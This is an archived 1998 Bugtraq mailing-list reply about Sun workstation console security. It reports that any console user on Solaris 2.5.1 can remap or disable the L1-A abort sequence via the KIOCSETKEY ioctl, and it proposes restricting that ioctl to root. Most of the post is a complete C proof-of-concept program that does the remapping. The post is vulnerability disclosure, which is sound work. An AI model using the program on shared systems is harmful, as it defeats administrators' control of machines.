Bugtraq mailing list archives

Re: Regarding Mudge's OBP/FORTH root hack (PHRACK53)


From: avarvit () CC ECE NTUA GR (Aggelos P. Varvitsiotis)
Date: Tue, 14 Jul 1998 16:30:32 +0300


Regarding the discussion on the Sun OBP exploit, I think there is one
more aspect deserving our attention. The L1-A sequence can be disabled
or mapped to any other sequence via the KIOCSETKEY ioctl. One additio-
nal measure, traditionally taken by labs (we are a student with student-
accessed Sun W/S consoles) has been to (a) remap or (b) disable the abort
sequence, so that either (a) only the administrator knows how to cold-
freeze the machine into OBP mode, or (b) only normal halt/shutdown is
possible.

The problem with this approach is that (at least on 2.5.1 that we use)
anyone being granted console access can remap the abort sequence. This
poses an additional problem, since users can neither be effectively pre-
vented from using the abort sequence (that is, anyone sitting at a
Sun console that is loosely patrolled can freeze [security-mode=full]
or reboot [security-mode=command] the workstation), nor from remapping
the abort sequence (which would mean that not even the administrator
would be able to use it, should such a need occur).

It would be very straightforward, though, to restrict the specific
value of the KEIOCSETKEY ioctl to root. It would allow the administrator
to remap the abort sequence to some other key combination, effectively
preventing unauthorized persons from freezing the machine and at
the same time it would make it impossible for users to change these
settings.

As a demonstration of concept, I am including an old source (slightly
modified to work on Solaris 2.5.1 - I believe it's going to work on
all SunOS5.X versions), whose origin I am not currently aware of (credits
to the original author). Any user can use this to arbitrarily remap the
abort sequence, once granted console access. Effectively, this renders
any adminstrator attempt to disable/restrict the use of the abort
sequence purely useless.


a.varvitsiotis () iccs ntua gr                     A.Varvitsiotis
                                             ICCS Computer Center
                                      National Technical University of Athens


--"console.c"-------------------8<---------------------------

/* $Id: setabort.c,v 1.2 1989/10/20 10:47:42 sources Exp $
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/kbio.h>   /* for SunOS4.X, change this to <sundev/kbio.h> */
#include <sys/kbd.h>    /* for SunOS4.X, change this to <sundev/kbd.h> */

struct kiockey kiockey;

main(argc, argv)
register argc;
register char *argv[];

{
        register fd, key1, key2;
        int mode; /* 0: set to L1-A, 1: set to key1 key2, 2: disable */
        int was_set = 0,
        verb = 0;
        char *prog;

        prog = argv[0];
        if(argc == 1)
        {
                printf("usage: %s [-v] touche1 touche2\n",prog);
                printf("   or: %s [-v] std | off\n",prog);
                exit(1);
        }

        if (strcmp(argv[1],"-v") == 0) {
                verb = 1;
                argc--;
                argv++;
        }

        if (argc > 3  || argc < 2) {
                printf("usage: %s [-v] touche1 touche2\n",prog);
                printf("   or: %s [-v] std | off\n",prog);
                exit(1);
        }

        if ((fd = open("/dev/kbd", 2)) < 0) {
                perror("/dev/kbd");
                exit(1);
        }
        if (argc == 3) {
                key1 = atoi(argv[1]);
                key2 = atoi(argv[2]);
                mode = 1;
                if (key1 < 0 || key1 > 127 || key2 < 0 || key2 > 127) {
                        printf("%s: INVALID KEY: key stations must be in range 0-127\n",prog);
                        close(fd);
                        exit(1);
                }
        } else if ( strcmp("std", argv[1]) == 0)
                mode = 0;
        else if (strcmp("off", argv[1]) == 0)
                mode = 2;
        else {
                printf("usage: %s [-v] touche1 touche2\n",prog);
                printf("   or: %s [-v] std | off\n",prog);
                exit(1);
        }


        kiockey.kio_tablemask = KIOCABORT1;

        ioctl( fd, KIOCGETKEY, &kiockey);   /* read abort key entry */

        if (kiockey.kio_station == 0) {
                if (verb)
                        printf("Abort sequence was disabled\n");
        }
        else {
                was_set = 1;
                if (verb)
                        printf("Abort sequence was enabled and set to %d",
                            kiockey.kio_station);
        }

        switch (mode) {
        case 0:
                kiockey.kio_station = 0x01;
                break;
        case 1:
                kiockey.kio_station = key1;
                break;
        case 2:
                kiockey.kio_station = 0x00;
                break;

        }
        if (ioctl(fd, KIOCSETKEY, &kiockey) < 0) {
                perror("kbd: KIOCSETKEY: KIOCABORT1:");
                close(fd);
                exit(1);
        }

        kiockey.kio_tablemask = KIOCABORT2;

        if (was_set == 1) {
                ioctl( fd, KIOCGETKEY, &kiockey);   /* read abort key entry */
                if (verb)
                        printf(" %d\n", kiockey.kio_station);
        }

        switch (mode) {
        case 0:
                kiockey.kio_station = 0x4d;
                break;
        case 1:
                kiockey.kio_station = key2;
                break;
        case 2:
                kiockey.kio_station = 0x00;
                break;

        }
        if (ioctl(fd, KIOCSETKEY, &kiockey) < 0) {
                perror("kbd: KIOCSETKEY: KIOCABORT2:");
                close(fd);
                exit(1);
        }


        kiockey.kio_tablemask = KIOCABORT1;
        ioctl( fd, KIOCGETKEY, &kiockey);   /* read abort key entry */

        if (kiockey.kio_station == 0) {
                if (verb)
                        printf("Abort sequence disabled\n");
        }
        else {
                if (verb)
                        printf("Abort sequence enabled and set to %d",
                            kiockey.kio_station);
                kiockey.kio_tablemask = KIOCABORT2;
                ioctl( fd, KIOCGETKEY, &kiockey);   /* read abort key entry */
                if (verb)
                        printf(" %d\n", kiockey.kio_station);
        }
        close(fd);
        exit(0);
}



Current thread: